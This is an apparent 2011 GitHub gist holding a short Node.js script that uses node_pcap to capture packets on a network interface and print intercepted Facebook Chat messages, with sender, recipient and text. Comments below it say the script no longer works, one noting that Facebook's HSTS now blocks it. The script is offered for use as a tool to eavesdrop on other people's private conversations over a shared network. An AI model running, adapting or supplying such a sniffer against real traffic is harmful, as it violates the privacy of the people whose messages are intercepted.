Skip to content

Instantly share code, notes, and snippets.

@jchaney
Created January 31, 2011 09:30
Show Gist options
  • Save jchaney/803818 to your computer and use it in GitHub Desktop.
Save jchaney/803818 to your computer and use it in GitHub Desktop.
Facebook Chat Sniffer using Node.JS + node_pcap
var pcap = require('pcap'), // npm install pcap
tcp_tracker = new pcap.TCP_tracker(),
pcap_session = pcap.createSession('en1'); // Change to your interface
pcap_session.on('packet', function (raw_packet) {
var packet = pcap.decode.packet(raw_packet);
tcp_tracker.track_packet(packet);
});
tcp_tracker.on('http response body', function(session, http, data) {
if (data.toString('utf8').match(/^for\s\(;;\).*"from_name":/)) {
var msg = JSON.parse(data.toString('utf8').replace('for (;;);', ''));
console.log('\n\nFrom: ' + msg.ms[0].from_name + '\nTo: ' + msg.ms[0].to_name + '\nMessage: ' + msg.ms[0].msg.text);
}
});
@Gentle972
Copy link

hi, no message is displayed for me and I changed my interface.

@jchaney
Copy link
Author

jchaney commented Feb 12, 2012

It used to work.. guessing Facebook or something in Node has changed. I'll play with it some more this weekend see if I can get it working again.

@19h
Copy link

19h commented Nov 8, 2014

@jchaney it's impossible since Facebook deployed HSTS.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment